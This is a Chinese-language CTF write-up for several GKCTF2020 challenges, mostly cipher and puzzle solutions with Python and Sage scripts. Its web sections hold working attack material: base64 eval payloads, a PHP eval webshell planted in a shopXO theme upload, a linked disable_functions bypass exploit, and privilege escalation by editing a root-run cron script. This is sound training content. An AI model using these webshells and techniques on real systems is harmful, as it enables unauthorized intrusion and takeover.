部分WP-GKCTF2020

本篇內容

MISC:

[GKCTF2020]簽到
[GKCTF2020]Pokémon
[GKCTF2020]問卷調查
[GKCTF2020]code obfuscation

Crypto:

[GKCTF2020]小學生的密碼學
[GKCTF2020]漢字的祕密
[GKCTF2020]babycrypto

Web:

[GKCTF2020]CheckIN
[GKCTF2020]老八小超市兒

Reverse:

[GKCTF2020]Check_1n

上一篇 | 目錄 | 下一篇

[GKCTF2020]簽到

比賽期間:趙總直播間(https://live.bilibili.com/772947)屏幕上有flag。
flag{Welcome_To_GKCTF_2020}





[GKCTF2020]Pokémon

賊有意思的一道題,口袋怪獸綠寶石,哈哈。
下載附件,一個gba後綴的,百度出用GBA模擬器打開就行。
W、S、A、D:上下左右移動。按住空格在按上下左右鍵可以加速。
K:確定
Enter鍵:打開菜單。
在這裏插入圖片描述
玩遊戲到103路,草叢就是flag。
在這裏插入圖片描述
flag{PokEmon_14_CutE}





[GKCTF2020]問卷調查

填完問卷就給flag。
flag{I_W4nt_t0_Fu4k_GKCTF}





[GKCTF2020]code obfuscation

在這裏插入圖片描述
我在https://merricx.github.io/qrazybox/網址手動復原了。
在這裏插入圖片描述
二維碼掃出 base(gkctf)。猜測是base加密的gkctf,然後就一個個嘗試base家族裏的算法。base58編碼出密碼CfjxaPF
在這裏插入圖片描述
解出來一張圖片
在這裏插入圖片描述
一段雜亂的js代碼,去https://tool.lu/js/嘗試美化並且解密代碼,整理得

for n in a b c d e f g h i j k l m n o p q r s t u v w x y z do eval An = "n"
done
for n in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z do eval An = "n"
done num = 0
for n in a b c d e f g h i j do eval Bn = "n"
num = $((num + 1))
done alert("Bk=' ';Bm='"';Bn='#';Bs='(';Bt=')';By='.';Cb='';Cc='<';Ce='>';Cl='_';Cn='{';Cp='}';Da='0';Db='1';Dc='2';Dd='3';De='4';Df='5';Dg='6';Dh='7';Di='8';Dj='9';")

寫py腳本跑一下:

import string
s = "$Bn$Ai$An$Ac$Al$Au$Ad$Ae$Bk$Cc$As$At$Ad$Ai$Ao$By$Ah$Ce$Ai$An$At$Bk$Am$Aa$Ai$An$Bs$Bt$Cn$Ap$Ar$Ai$An$At$Bs$Bm$Aw$Dd$Al$Ac$Da$Am$Ae$Cl$De$Ao$Cl$Dj$Ak$Ac$At$Df$Bm$Bt$Cb$Ar$Ae$At$Au$Ar$An$Bk$Da$Cb$Cp"
ll = s.split('$')
list1 = ['Bk','Bm','Bn','Bs','Bt','By','Cb','Cc','Ce','Cl','Cn','Cp',
'Da','Db','Dc','Dd','De','Df','Dg','Dh','Di','Dj']
list2 = [' ','"','#','(',')','.','','<','>','_','{','}','0','1','2','3','4','5','6','7','8','9']
list3 = []
list4 = []
s = string.ascii_lowercase
for i in s:
	list3.append('A%s'%i)
	list4.append(i)
#print(list3,'\n',list4)

t = ''
for i in range(0,len(ll)):
	for j in range(0,len(list1)):
		if ll[i]==list1[j]:
			t += list2[j]
	for k in range(0,len(list3)):
		if ll[i]==list3[k]:
			t +=list4[k]
print(t)

運行
在這裏插入圖片描述
flag爲flag{w3lc0me_4o_9kct5}





[GKCTF2020]小學生的密碼學

e(x)=11x+6(mod26)
密文:welcylk
(flag爲base64形式)

一看就是仿射加密了
在這裏插入圖片描述
base64一下
flag爲flag{c29yY2VyeQ==}





[GKCTF2020]漢字的祕密

王壯 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由
土夫 井中 士夫 王工 王人 土由 由口夫

一看就是當鋪密碼了,筆畫中有幾個出頭的就對應着數字幾。例如:

田:0	由:1	王:6	壯:9

寫python腳本:

dh = '田口由中人工大土士王夫井羊壯'
ds = '00123455567899'

cip = '王壯 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫'
s = ''
for i in cip:
	if i in dh:
		s += ds[dh.index(i)]
	else:
		s += ' '
#print(s)

ll = s.split(" ")
t = ''
for i in range(0,len(ll)):
	t += chr(int(ll[i])+i+1)
print('t=', t, '\t\tt.lower()=', t.lower())

在這裏插入圖片描述
flag爲flag{you_are_good}





[GKCTF2020]babycrypto

# n:0xb119849bc4523e49c6c038a509a74cda628d4ca0e4d0f28e677d57f3c3c7d0d876ef07d7581fe05a060546fedd7d061d3bc70d679b6c5dd9bc66c5bdad8f2ef898b1e785496c4989daf716a1c89d5c174da494eee7061bcb6d52cafa337fc2a7bba42c918bbd3104dff62ecc9d3704a455a6ce282de0d8129e26c840734ffd302bec5f0a66e0e6d00b5c50fa57c546cff9d7e6a978db77997082b4cb927df9847dfffef55138cb946c62c9f09b968033745b5b6868338c64819a8e92a827265f9abd409359a9471d8c3a2631b80e5b462ba42336717700998ff38536c2436e24ac19228cd2d7a909ead1a8494ff6c3a7151e888e115b68cc6a7a8c6cf8a6c005L
# e:65537
# enc:1422566584480199878714663051468143513667934216213366733442059106529451931078271460363335887054199577950679102659270179475911101747625120544429262334214483688332111552004535828182425152965223599160129610990036911146029170033592055768983427904835395850414634659565092191460875900237711597421272312032796440948509724492027247376113218678183443222364531669985128032971256792532015051829041230203814090194611041172775368357197854451201260927117792277559690205342515437625417792867692280849139537687763919269337822899746924269847694138899165820004160319118749298031065800530869562704671435709578921901495688124042302500361
# p>>128<<128:0xe4e4b390c1d201dae2c00a4669c0865cc5767bc444f5d310f3cfc75872d96feb89e556972c99ae20753e3314240a52df5dccd076a47c6b5d11b531b92d901b2b512aeb0b263bbfd624fe3d52e5e238beeb581ebe012b2f176a4ffd1e0d2aa8c4d3a2656573b727d4d3136513a931428b00000000000000000000000000000000L

直接百度一下,是已知p的高位,將低位給搞出來。
使用的sagemath。參考Zui-Qing-Feng/RSA

n = 0xb119849bc4523e49c6c038a509a74cda628d4ca0e4d0f28e677d57f3c3c7d0d876ef07d7581fe05a060546fedd7d061d3bc70d679b6c5dd9bc66c5bdad8f2ef898b1e785496c4989daf716a1c89d5c174da494eee7061bcb6d52cafa337fc2a7bba42c918bbd3104dff62ecc9d3704a455a6ce282de0d8129e26c840734ffd302bec5f0a66e0e6d00b5c50fa57c546cff9d7e6a978db77997082b4cb927df9847dfffef55138cb946c62c9f09b968033745b5b6868338c64819a8e92a827265f9abd409359a9471d8c3a2631b80e5b462ba42336717700998ff38536c2436e24ac19228cd2d7a909ead1a8494ff6c3a7151e888e115b68cc6a7a8c6cf8a6c005L
p_fake = 0xe4e4b390c1d201dae2c00a4669c0865cc5767bc444f5d310f3cfc75872d96feb89e556972c99ae20753e3314240a52df5dccd076a47c6b5d11b531b92d901b2b512aeb0b263bbfd624fe3d52e5e238beeb581ebe012b2f176a4ffd1e0d2aa8c4d3a2656573b727d4d3136513a931428b00000000000000000000000000000000L

pbits = 1024  
kbits = 128
pbar = p_fake & (2^pbits-2^kbits)  
print ("upper %d bits (of %d bits) is given" % (pbits-kbits, pbits))
   
PR.<x> = PolynomialRing(Zmod(n))  
f = x + pbar  
x0 = f.small_roots(X=2^kbits, beta=0.4)[0]  # find root < 2^kbits with factor >= n^0.3  
p = int(x0 + pbar)
print('p=',p)

在這裏插入圖片描述
得出p就可以求出q
在這裏插入圖片描述

q = n/p = 139091353059018128421744751525080056530307965918298875691299992775484064426591581456998968315582349027071987206340653988925923465225471661893944397744293391269274124345189028818977002600599732469824164218366399726233373069742839737062004061244787413638290767590029376062508897417109117189614458570241407458359

寫python腳本:

import gmpy2 as gp 
import binascii
p = 160734387026849747944319274262095716650717626398118440194223452208652532694713113062084219512359968722796763029072117463281356654614167941930993838521563406258263299846297499190884495560744873319814150988520868951045961906000066805136724505347218275230562125457122462589771119429631727404626489634314291445667
q = 139091353059018128421744751525080056530307965918298875691299992775484064426591581456998968315582349027071987206340653988925923465225471661893944397744293391269274124345189028818977002600599732469824164218366399726233373069742839737062004061244787413638290767590029376062508897417109117189614458570241407458359
e = 65537
c = 1422566584480199878714663051468143513667934216213366733442059106529451931078271460363335887054199577950679102659270179475911101747625120544429262334214483688332111552004535828182425152965223599160129610990036911146029170033592055768983427904835395850414634659565092191460875900237711597421272312032796440948509724492027247376113218678183443222364531669985128032971256792532015051829041230203814090194611041172775368357197854451201260927117792277559690205342515437625417792867692280849139537687763919269337822899746924269847694138899165820004160319118749298031065800530869562704671435709578921901495688124042302500361
p = gp.mpz(p)
q = gp.mpz(q)
e = gp.mpz(e)
c = gp.mpz(c)

n = p*q
phi = (p-1) * (q-1)
d = gp.invert(e, phi)
#print('d=',d)
m = pow(c, d, n) 
#print('m=',m)
print('hex(m)=',hex(m)[2:])
print('bytes.fromhex(hex(m)=',bytes.fromhex(hex(m)[2:]))

在這裏插入圖片描述
flag爲flag{3d0914a1-1e97-4822-a745-c7e20c5179b9}





[GKCTF2020]CheckIN
在這裏插入圖片描述
代碼很簡單,就是相當於:

<?php
$a = $_REQUEEST['Ginkgo'];
$b = @base64_decode($a);
@eval($b);
?>

首先查看phpinfo()。

phpinfo(); --> cGhwaW5mbygpOw== --> cGhwaW5mbygpOw%3d%3d

在這裏插入圖片描述
成功回顯。
嘗試一句話蟻劍連接。

eval($_POST[123]); --> ZXZhbCgkX1BPU1RbMTIzXSk7

在這裏插入圖片描述
在根路徑(/)下看到flag,但是沒權限查看。還有一個readflag文件,查看一下可以發現此文件的內容還含有cat /flag內容,猜測是執行此文件。
但是蟻劍的虛擬終端在這不能用,然後回到之前的phpinfo()發現禁了很多的方法。
在這裏插入圖片描述
過濾了這麼多的function,想到繞過disable_functions,以前做過類似的題目。
上傳一個文件使其執行任意命令,exp來自https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
在這裏只需要改動一行就可以了。
在這裏插入圖片描述
首先需要上傳,利用蟻劍完成上傳。
在這裏插入圖片描述
然後在頁面中包含即可得到flag。
在這裏插入圖片描述





[GKCTF2020]老八小超市兒
在這裏插入圖片描述
鏈接一打開,龐大的系統,猜測又是某漏洞,直接百度shopXO漏洞,第一條就是漏洞復現。以下參考:滲透測試|shopxo後臺全版本獲取shell復現
訪問後臺管理界面admin.php
在這裏插入圖片描述
在後臺找到應用中心-應用商店-主題,然後下載默認主題。
在這裏插入圖片描述
下載下來的主題是一個安裝包,然後把shell放到壓縮包的default\_static_目錄下:
123.php的內容爲:

<?php
echo 'Airrudder';
eval($_POST[123]);
?>

在這裏插入圖片描述

注意不要這樣操作:先解壓,然後放進去,然後再壓縮回去。
我試過,不知道爲啥就是行不通。

回到網頁上,找到網站管理-主題管理-主題安裝,選擇加入shell後的主題壓縮包進行上傳。
在這裏插入圖片描述
安裝成功後,shell就可以用了,地址是:

http://c8da481d-215d-4fe0-9b4c-a1a683fa9442.node3.buuoj.cn/public/static/index/default/123.php

在這裏插入圖片描述
使用蟻劍連接:
在這裏插入圖片描述
然後在根路徑下發現flag,說是假的flag,真的在/root下:

flag{this_is_fake_flag/true_flag_in_/root}

flag.hint:

Sun May 24 13:24:10 2020
Get The RooT,The Date Is Useful!

auto.sh

#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

auto.sh執行/var/mail/makeflaghint.py,這就是我們利用的點。
修改/var/mail/makeflaghint.py,加入兩行內容讀取/root/flag/flag.hint

ff = io.open("/root/flag", "rb+")
f.write(str(ff.read()))

在這裏插入圖片描述
然後再去查看flag.hint就能拿到flag。
在這裏插入圖片描述





[GKCTF2020]Check_1n

挺有意思的一道題。
模擬XP開機,需要密碼,直接用ida打開,Shift+F12發現了一些有用字符:

V2h5IGRvbid0IHlvdSB0cnkgdGhlIG1hZ2ljIGJyaWNrIGdhbWU= Base64解碼爲:Why don't you try the magic brick game
還有flag,flag.txt,HelloWorld

嘗試了一些後發現密碼就是HelloWorld。
在這裏插入圖片描述
進入後查看一下flag是假flag,提示就是之前在ida看到的那個,也就是需要打磚塊:
在這裏插入圖片描述
在這裏插入圖片描述
等個幾秒自動就出flag:flag{f5dfd0f5-0343-4642-8f28-9adbb74c4ede}





========================================================
上一篇-----------------------------------目錄 -----------------------------------下一篇
========================================================
轉載請註明出處
本文網址:https://blog.csdn.net/hiahiachang/article/details/106317765
========================================================

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章